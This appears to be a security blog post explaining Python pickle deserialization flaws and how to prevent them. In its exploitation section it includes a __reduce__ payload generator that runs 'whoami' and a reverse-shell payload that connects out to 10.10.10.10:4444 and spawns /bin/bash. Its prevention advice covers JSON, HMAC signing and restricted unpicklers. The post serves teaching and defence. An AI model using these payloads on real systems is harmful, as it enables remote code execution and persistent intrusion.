Blogs @ Jsmon.sh
  • Request a Demo
  • Jsmon in Action!
Sign in Subscribe
python

What is Python Pickle Deserialization? Ways to Exploit, Examples and Impact

Discover how Python Pickle deserialization causes RCE. Learn exploit methods like __reduce__ and see real-world examples to secure your Python code.

Nadeem Ahmad

09 Mar 2026 — 6 min read
What is Python Pickle Deserialization? Ways to Exploit, Examples and Impact

In the world of Python development, the pickle module is a go-to tool for many developers who need to save the state of an object to a file or transmit it over a network. While it is incredibly convenient, it is also one of the most notorious sources of security vulnerabilities in the Python ecosystem. If your application handles untrusted data using pickle, you might be inadvertently opening the door to Remote Code Execution (RCE). In this guide, we will dive deep into what Python Pickle deserialization is, why it is dangerous, and how attackers exploit it to take over systems.

Understanding Serialization and Deserialization

Before we can understand the vulnerability, we must understand the underlying process. Serialization is the process of converting a complex data structure—like a Python list, dictionary, or custom class instance—into a format that can be easily stored or transmitted. This format is typically a byte stream.

Deserialization is the reverse: taking that byte stream and reconstructing the original Python object in memory. In Python, the primary module for this is pickle. While other formats like JSON or XML are text-based and relatively safe because they only represent data, pickle is unique because it can represent almost any Python object, including complex logic and state.

What is the Python Pickle Module?

Jsmon users often find that internal applications use pickle for caching or session management. The pickle module implements binary protocols for serializing and de-serializing a Python object structure. "Pickling" is the process whereby a Python object hierarchy is converted into a byte stream, and "unpickling" is the inverse operation.

Here is a basic example of how pickle is used in a standard, non-malicious context:

import pickle

# A simple dictionary representing user data
user_data = {"username": "alice", "is_admin": False, "points": 42}

# Serializing the object to a byte stream
serialized_data = pickle.dumps(user_data)
print(f"Serialized: {serialized_data}")

# Deserializing the object back to a dictionary
deserialized_data = pickle.loads(serialized_data)
print(f"Deserialized: {deserialized_data['username']}")

At first glance, this looks harmless. However, the pickle module is not just a data format; it is a stack-based virtual machine. When you call pickle.loads(), you aren't just parsing data; you are essentially executing a series of opcodes that tell the Python interpreter how to rebuild the object.

Why is Python Pickle Deserialization Dangerous?

The fundamental security flaw in pickle is that it does not distinguish between data and instructions. The unpickling process can be manipulated to call any callable object (like a function) with any arguments. This is primarily achieved through a special method called __reduce__.

The Role of the __reduce__ Method

When the pickle module attempts to serialize a class instance, it looks for a method named __reduce__. This method is intended to tell the pickler how to reconstruct the object. It should return either a string or a tuple. If it returns a tuple, that tuple must contain:

  1. A callable object (the function to be called to create the initial object).
  2. A tuple of arguments for that callable object.

An attacker can define a custom class with a __reduce__ method that returns a dangerous function, such as os.system, along with a command they want to execute. When the victim application calls pickle.loads() on the attacker's crafted string, the command is executed immediately.

How to Exploit Python Pickle Deserialization

To demonstrate how an exploit works, let's look at a practical example. Suppose a web application stores user session data in a cookie as a base64-encoded pickle string. An attacker can craft their own pickle string to gain a reverse shell or execute arbitrary commands.

Basic Remote Code Execution (RCE) Payload

Here is how an attacker creates a malicious pickle payload using the __reduce__ method:

import pickle
import base64
import os

class MaliciousPayload:
    def __reduce__(self):
        # This will execute 'whoami' on the server
        return (os.system, ('whoami',))

# Create the malicious object
exploit_obj = MaliciousPayload()

# Serialize the object
raw_pickle = pickle.dumps(exploit_obj)

# Encode to base64 for easy transport (e.g., in a cookie)
malicious_cookie = base64.b64encode(raw_pickle).decode()

print(f"Malicious Payload: {malicious_cookie}")

When the server receives this payload and runs pickle.loads(base64.b64decode(malicious_cookie)), the os.system('whoami') command is executed on the server. The output of the command will likely appear in the server's logs or console, but the attacker has successfully achieved code execution.

Gaining a Reverse Shell

In a real-world scenario, an attacker wouldn't just run whoami. They would likely attempt to gain a reverse shell to have persistent access to the machine. Here is a payload that uses a Python one-liner to connect back to the attacker's machine:

import pickle
import base64
import os

class ReverseShell:
    def __reduce__(self):
        # Replace with your IP and Port
        cmd = "python3 -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.10.10\",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(\"/bin/bash\")'"
        return (os.system, (cmd,))

# Serialize and encode
payload = base64.b64encode(pickle.dumps(ReverseShell())).decode()
print(payload)

The Impact of Pickle Vulnerabilities

The impact of a successful pickle injection attack is almost always "Critical." Because the pickle.loads() function executes code with the same privileges as the Python process, an attacker can:

  1. Full System Compromise: Execute any command on the operating system.
  2. Data Exfiltration: Access sensitive environment variables, database credentials, or source code.
  3. Lateral Movement: Use the compromised server as a pivot point to attack other internal systems.
  4. Ransomware/Destruction: Delete files or encrypt data on the host machine.

Many modern machine learning frameworks (like PyTorch or scikit-learn) use pickle or formats based on it (like .pth files) to save models. If a researcher downloads a pre-trained model from an untrusted source, they could be running malicious code the moment they load the model into their environment.

Real-World Scenarios and Case Studies

Web Application Session Management

Early Python web frameworks or custom-built applications sometimes used pickle to store session data in cookies. If the cookie was not cryptographically signed (using HMAC), a user could modify their own cookie. By replacing a valid session object with a malicious pickle payload, the user could escalate their privileges or execute commands on the server.

Task Queues and Distributed Systems

Systems like Celery or older versions of various message brokers used pickle as the default serialization format for passing tasks between workers. If an attacker could inject a message into the queue (e.g., via a misconfigured Redis or RabbitMQ instance), they could achieve RCE on every worker node in the cluster.

How to Prevent Pickle Deserialization Attacks

The most effective way to prevent these attacks is to follow a simple rule: Never unpickle data from an untrusted source.

1. Use Safer Serialization Formats

For most use cases, JSON is a much safer alternative. JSON is a data-only format and does not support the execution of arbitrary functions during parsing. Python's built-in json module is efficient and secure against RCE.

import json

# Safe serialization
data = {"id": 123, "role": "user"}
json_string = json.dumps(data)

# Safe deserialization
loaded_data = json.loads(json_string)

If you need to support complex Python objects that JSON cannot handle, consider using protobuf or msgpack, which are designed with security and cross-language support in mind.

2. Implement Cryptographic Signing

If you absolutely must use pickle for legacy reasons, you must ensure the data has not been tampered with. This is done by signing the pickled data with a secret key using HMAC (Hash-based Message Authentication Code).

Before unpickling, you verify the signature. If the signature doesn't match, you discard the data. This doesn't make pickle inherently safe, but it ensures that only parties with the secret key can create valid pickle strings.

3. Use Restricted Unpicklers

Python allows you to customize the unpickling process by overriding the find_class method of the Unpickler class. This allows you to whitelist only specific, safe classes and block dangerous ones like os.system or subprocess.Popen.

import pickle
import io

class RestrictedUnpickler(pickle.Unpickler):
    def find_class(self, module, name):
        # Only allow safe classes from the 'models' module
        if module == "models" and name in {"User", "Product"}:
            return getattr(__import__(module), name)
        # Forbid everything else
        raise pickle.UnpicklingError(f"global '{module}.{name}' is forbidden")

# Usage
# RestrictedUnpickler(io.BytesIO(untrusted_data)).load()

While this provides a layer of defense, it is often difficult to maintain a perfect whitelist, and clever attackers may still find ways to chain permitted objects into a malicious payload.

Conclusion

Python's pickle module is a powerful tool for object serialization, but its ability to execute arbitrary code during deserialization makes it a massive security risk if misused. As a developer, you should prioritize using data-only formats like JSON or transit-safe formats like Protobuf. As a security professional, identifying pickle.loads() calls on user-controllable input is a high-priority task during any audit.

To proactively monitor your organization's external attack surface and catch exposures before attackers do, try Jsmon. By keeping a constant eye on your infrastructure, you can identify the services and endpoints that might be vulnerable to deserialization attacks and other critical security flaws.

Read more

What is Broken Access Control? Ways to Exploit, Examples and Impact

What is Broken Access Control? Ways to Exploit, Examples and Impact

Explore Broken Access Control, IDOR, and privilege escalation. Learn how to exploit and prevent the #1 OWASP vulnerability with technical code examples.

By Gaurav Singh Bisht 09 Mar 2026
What is Race Condition? Ways to Exploit, Examples and Impact

What is Race Condition? Ways to Exploit, Examples and Impact

Discover how race conditions work, see real-world exploit examples like TOCTOU, and learn how to secure your code against concurrency vulnerabilities.

By Gaurav Singh Bisht 09 Mar 2026
What is Webhook Vulnerability? Ways to Exploit, Examples and Impact

What is Webhook Vulnerability? Ways to Exploit, Examples and Impact

Explore webhook vulnerabilities like SSRF and replay attacks. Learn technical exploitation methods and best practices to secure your callback endpoints.

By Gaurav Singh Bisht 09 Mar 2026
What is GraphQL N+1 Problem? Ways to Exploit, Examples and Impact

What is GraphQL N+1 Problem? Ways to Exploit, Examples and Impact

Understand the GraphQL N+1 problem, its security impact, and how to prevent Denial of Service attacks with DataLoaders and query complexity analysis.

By Gaurav Singh Bisht 09 Mar 2026
Blogs @ Jsmon.sh
  • Request a Demo
  • Jsmon in Action!
  • Jsmon Extensions
  • Jsmon Pricing
Powered by Ghost

Blogs @ Jsmon.sh

In-depth research, technical articles, and security analysis from Jsmon.